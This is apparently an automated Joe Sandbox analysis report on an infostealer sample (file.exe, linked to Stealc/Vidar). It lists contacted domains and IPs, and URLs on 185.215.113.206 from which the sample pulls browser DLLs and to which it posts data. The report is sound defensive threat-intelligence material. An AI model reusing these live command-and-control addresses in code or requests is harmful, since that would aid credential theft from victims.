https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://www.tiktok.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	0%, Virustotal, Browse	unknown
plus.l.google.com	142.250.181.238	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.185.142	true	false	0%, Virustotal, Browse	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false		unknown
sb.scorecardresearch.com	18.244.18.32	true	false		unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		unknown
www.google.com	142.250.186.132	true	false		unknown
googlehosted.l.googleusercontent.com	172.217.18.1	true	false		unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false		unknown
clients2.googleusercontent.com	unknown	unknown	false		unknown
bzib.nelreports.net	unknown	unknown	false		unknown
assets.msn.com	unknown	unknown	false		unknown
c.msn.com	unknown	unknown	false		unknown
ntp.msn.com	unknown	unknown	false		unknown
apis.google.com	unknown	unknown	false		unknown
api.msn.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://sb.scorecardresearch.com/b?rn=1730166401151&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068FFCF09D60634F3420E9D79CEE6292&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730166401771&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730166401179&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
https://c.msn.com/c.gif?rnd=1730166401151&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3d37e0d41e704b1f8ce8809096ccd066&activityId=3d37e0d41e704b1f8ce8809096ccd066&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpV;rL	file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_482.4.dr	false	URL Reputation: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://ntp.msn.com/0	000003.log10.9.dr	false		unknown
https://ntp.msn.com/_default	QuotaManager.9.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	false	URL Reputation: safe	unknown
https://www.last.fm/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.9.dr	false	URL Reputation: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://deff.nelreports.net/api/report	Reporting and NEL.10.dr	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_486.4.dr	false	URL Reputation: safe	unknown
https://docs.google.com/	manifest.json0.9.dr	false		unknown
https://www.youtube.com	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://www.google.com	chromecache_482.4.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.10.dr	false		unknown
https://www.instagram.com	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://web.skype.com/?browsername=edge_canary_shoreline	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://drive.google.com/	manifest.json0.9.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpyobL	file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://www.messenger.com	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://i.y.qq.com/n2/m/index.html	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://www.deezer.com/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://web.telegram.org/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dlllocalhost5	file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://vibe.naver.com/today	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379584097.000000002344E000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, HJJJECFI.0.dr, JKEBFBFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206_	file.exe, 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2268769085.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFI.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dllQdmLH	file.exe, 00000000.00000002.2520351860.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_486.4.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpf&;	file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		unknown
https://www.tiktok.com/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false	URL Reputation: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	GIDHDGCBFBKECBFHCAFHJDBGHC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpIJ;VL	file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	manifest.json.9.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2520351860.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, CBAFCAKEHDHDHIDHDGDH.0.dr	false		unknown
https://msn.comXIDv10	Cookies.10.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
http://185.215.113.206FIJ	file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpn;:L	file.exe, 00000000.00000003.2379754217.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		unknown
https://y.music.163.com/m/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		unknown
https://bard.google.com/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://clients6.google.com	chromecache_486.4.dr	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://web.whatsapp.com	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dlld	file.exe, 00000000.00000002.2520351860.0000000000E37000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://m.kugou.com/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://www.office.com	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
https://outlook.live.com/mail/0/	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpBrowser	file.exe, 00000000.00000002.2520351860.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	CBAFCAKEHDHDHIDHDGDH.0.dr	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2546731433.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061910174.0000000004B1B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517910143.00000000004CC000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.9.dr, 000003.log10.9.dr	false		unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		unknown
https://powerpoint.new?from=EdgeM365Shoreline	0a390ad4-3abf-4921-a8fe-8b20422cf04d.tmp.9.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.200	unknown	United States	20940	AKAMAI-ASN1EU	false
20.189.173.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.224.10	unknown	United States	6453	AS6453US	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.142	play.google.com	United States	15169	GOOGLEUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
13.91.96.185	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.218.224.16	unknown	United States	6453	AS6453US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.238	plus.l.google.com	United States	15169	GOOGLEUS	false
23.47.194.99	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
23.192.223.241	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.192.223.230	unknown	United States	16625	AKAMAI-ASUS	false
18.160.172.81	unknown	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544205
Start date and time:	2024-10-29 02:45:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/297@26/26
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.35, 142.250.186.46, 74.125.206.84, 34.104.35.123, 142.250.185.227, 217.20.57.35, 142.250.185.74, 142.250.181.234, 142.250.185.170, 216.58.212.138, 142.250.184.234, 142.250.185.106, 142.250.185.234, 172.217.16.202, 216.58.206.42, 142.250.186.170, 172.217.18.10, 142.250.185.202, 216.58.206.74, 142.250.185.138, 142.250.186.42, 142.250.186.106, 192.229.221.95, 172.217.16.138, 172.217.23.106, 142.250.186.74, 172.217.18.106, 216.58.212.170, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 172.217.23.110, 13.107.6.158, 2.20.245.139, 2.20.245.132, 48.209.144.71, 104.124.11.163, 104.124.11.224, 2.23.209.187, 2.23.209.130, 2.23.209.133, 13.74.129.1, 2.23.209.28, 2.23.209.48, 2.23.209.20, 2.23.209.45, 2.23.209.59, 2.23.209.51, 2.23.209.13, 2.23.209.3, 2.23.209.52, 13.107.21.237, 204.79.197.237, 2.20.245.140, 2.20.245.135, 20.93.72.182, 93.184.221.240, 142.250.114.94, 142.250.113.94, 142.250.115.94
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, prod-agic-ne-7.northeurope.cloudapp.azure.com,
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:46:33	API Interceptor	90x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://google.com	Get hash	malicious	Unknown	Browse
	https://web.kamihq.com/	Get hash	malicious	Unknown	Browse
	https://app.scalenut.com/creator/d0ab8cf4-bc58-4dd4-a63c-fdc95e54322f/kj8jd9r9do	Get hash	malicious	HTMLPhisher	Browse
162.159.61.3	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Payment for outstanding statements.pdf	Get hash	malicious	HTMLPhisher	Browse
	setup.msi	Get hash	malicious	Unknown	Browse
	http://74.248.121.8/d/msdownload/update/software/defu/2024/10/updateplatform.amd64fre_d3f6f8300855e56b8ed00da6dac55a3c4cbf8c20.exe?cacheHostOrigin=au.download.windowsupdate.com	Get hash	malicious	Unknown	Browse
	Demande de proposition du CPE Les Coquins.pdf	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
23.221.22.200	http://track.senderbulk.com/9145172/c?p=t_1VEj-jtdCupKDOh1UJ15hIRR1JywmpwhIYXugQ8652sS-HwhrykvIupJ1sV0083zN2qzdnhsEwJGDUDZ1OyR83lYJTkJdb1ldVrXBgZet3hXPVMDZaSfsMTO9r_7_gsxsZuAYF3HDczbqi9bL16p9EqvSQURoSr8h9p02Jz24yKdADk5HJYxFc56zk03c1	Get hash	malicious	Unknown	Browse
23.221.22.200	https://neon.ly/c2df7a96-7e7b-434f-8fbd-e7d0667e7df5#cl/4534_md/1110/5173/689/14/544786	Get hash	malicious	Phisher	Browse
20.189.173.2	https://1drv.ms/o/c/14c2aef4e2cd9199/EmKMpCkEfbpDs04MuZdva6IBilCqbzQYZtfiLbdaioNL0w?e=E2gYSO	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0 - 2024-10-14T143610.340.eml	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse
	PDFpower (1).exe	Get hash	malicious	Unknown	Browse
	BraveBrowserSetup-BRV030.exe	Get hash	malicious	Unknown	Browse
	https://1drv.ms/o/s!AhamKbFAgjbffS1Sylq61px7DxI?e=AvRhOV	Get hash	malicious	SharepointPhisher	Browse
	https://qrco.de/bfDZrd	Get hash	malicious	HTMLPhisher	Browse
	Wave Browser.exe	Get hash	malicious	Unknown	Browse
	KEMPER NORTH AMERICA WIRE REMITTANCE .xlsx	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	setup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	setup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	setup.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
sb.scorecardresearch.com	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.83.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.60.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.69.15
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.32.99.90
	http://www.wattpad.com	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.244.18.122
s-part-0017.t-0009.t-msedge.net	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	13.107.246.45
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	original.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	setup.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	setup.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://1drv.ms/o/s!BOd5RNxFaxkGg1r5bc30bgQWmkNc?e=J67qxK-KfEurqpMk0dasTw&at=9	Get hash	malicious	Unknown	Browse	13.107.246.45
